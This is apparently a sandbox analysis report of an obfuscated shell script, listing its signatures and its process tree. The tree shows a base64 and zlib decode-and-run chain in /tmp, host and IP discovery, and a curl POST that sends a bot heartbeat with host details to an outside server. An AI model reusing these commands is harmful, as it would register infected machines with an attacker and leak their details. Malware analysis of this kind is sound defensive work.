Overview

overview

7

Static

static

1

6b94e16e48...obf.sh

ubuntu-18.04-amd64

7

6b94e16e48...obf.sh

debian-9-armhf

7

6b94e16e48...obf.sh

debian-9-mips

7

6b94e16e48...obf.sh

debian-9-mipsel

7

Analysis

  • max time kernel
    30s
  • max time network
    32s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20260513-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    13/09/2026, 18:35

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    6b94e16e486df4ae0960c0cf0ce0e0425a5b9a4b98ea18503468d4cdde93409e_original_obf.sh
  • Size 1KB
  • Sample260913-w8tx8scl4x
  • SHA256 3efd36c38edbd6965c1a7ff7dc5c8bcab98008020ffb00aad5c69b6305f1eaac
  • MD5 SHA1 SHA512 TLSH
Score
7/10
defense_evasiondiscovery

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Looks up external IP address via web service 1 TTPs 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

    discovery
  • Deobfuscate/Decode Files or Information 1 TTPs 1 IoCs

    Adversaries may deobfuscate or decode files or information to evade detection mechanisms.

    defense_evasion
  • Reads runtime system information 4 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • System Network Configuration Discovery 1 TTPs 1 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery
  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/6b94e16e486df4ae0960c0cf0ce0e0425a5b9a4b98ea18503468d4cdde93409e_original_obf.sh
    /tmp/6b94e16e486df4ae0960c0cf0ce0e0425a5b9a4b98ea18503468d4cdde93409e_original_obf.sh
    1⤵
      PID:707
    • /usr/local/sbin/bash
      bash /tmp/6b94e16e486df4ae0960c0cf0ce0e0425a5b9a4b98ea18503468d4cdde93409e_original_obf.sh
      1⤵
        PID:707
      • /usr/local/bin/bash
        bash /tmp/6b94e16e486df4ae0960c0cf0ce0e0425a5b9a4b98ea18503468d4cdde93409e_original_obf.sh
        1⤵
          PID:707
        • /usr/sbin/bash
          bash /tmp/6b94e16e486df4ae0960c0cf0ce0e0425a5b9a4b98ea18503468d4cdde93409e_original_obf.sh
          1⤵
            PID:707
          • /usr/bin/bash
            bash /tmp/6b94e16e486df4ae0960c0cf0ce0e0425a5b9a4b98ea18503468d4cdde93409e_original_obf.sh
            1⤵
              PID:707
            • /sbin/bash
              bash /tmp/6b94e16e486df4ae0960c0cf0ce0e0425a5b9a4b98ea18503468d4cdde93409e_original_obf.sh
              1⤵
                PID:707
              • /bin/bash
                bash /tmp/6b94e16e486df4ae0960c0cf0ce0e0425a5b9a4b98ea18503468d4cdde93409e_original_obf.sh
                1⤵
                • Writes file to tmp directory
                PID:707
                • /bin/mktemp
                  mktemp -d
                  2⤵
                    PID:712
                  • /usr/bin/base64
                    base64 -d
                    2⤵
                    • Deobfuscate/Decode Files or Information
                    PID:718
                  • /usr/bin/python3
                    python3 -c " import sys import zlib sys.stdout.buffer.write( zlib.decompress( sys.stdin.buffer.read() ) ) "
                    2⤵
                      PID:719
                    • /bin/chmod
                      chmod +x /tmp/tmp.n9LkQ5y0FI/embedded.sh
                      2⤵
                      • File and Directory Permissions Modification
                      PID:734
                  • /bin/bash
                    bash /tmp/tmp.n9LkQ5y0FI/embedded.sh
                    1⤵
                      PID:707
                      • /usr/bin/awk
                        awk "-F\"" "/IOPlatformUUID/{print \$4}"
                        2⤵
                        • Reads runtime system information
                        PID:737
                      • /bin/hostname
                        hostname
                        2⤵
                          PID:739
                        • /usr/bin/curl
                          curl -s https://api.ipify.org
                          2⤵
                          • Reads runtime system information
                          • System Network Configuration Discovery
                          PID:741
                        • /usr/bin/curl
                          curl -s -X POST https://pilautfile.com/api/bot/heartbeat -H "Content-Type: application/json" -d "{\"bot_id\":\"\",\"build_id\":\"d91d844ad8920458ee99e707b1a203cba8df76ce960195f0993eb3b0e96d893f\",\"hostname\":\"debian9-mipsbe-20260513-en-3\",\"ip\":\"85.203.46.61\",\"os_version\":\"\"}"
                          2⤵
                          • Reads runtime system information
                          PID:744
                        • /bin/sed
                          sed -n "s/.*\"code\":\"\\([^\"]*\\)\".*/\\1/p"
                          2⤵
                          • Reads runtime system information
                          PID:826

                      Network

                            MITRE ATT&CK Enterprise v16

                            Replay Monitor

                            Loading Replay Monitor...

                            Downloads

                            embedded.sh
                            • Path /tmp/tmp.n9LkQ5y0FI/embedded.sh
                            • Size 733B
                            • SHA256 c71039b8d2d396bda441d0b3d51a38e0a1b16e5a808f1e851b3c4b9bf7ac180a
                            • MD5 SHA1 SHA512 TLSH
                            Submit Download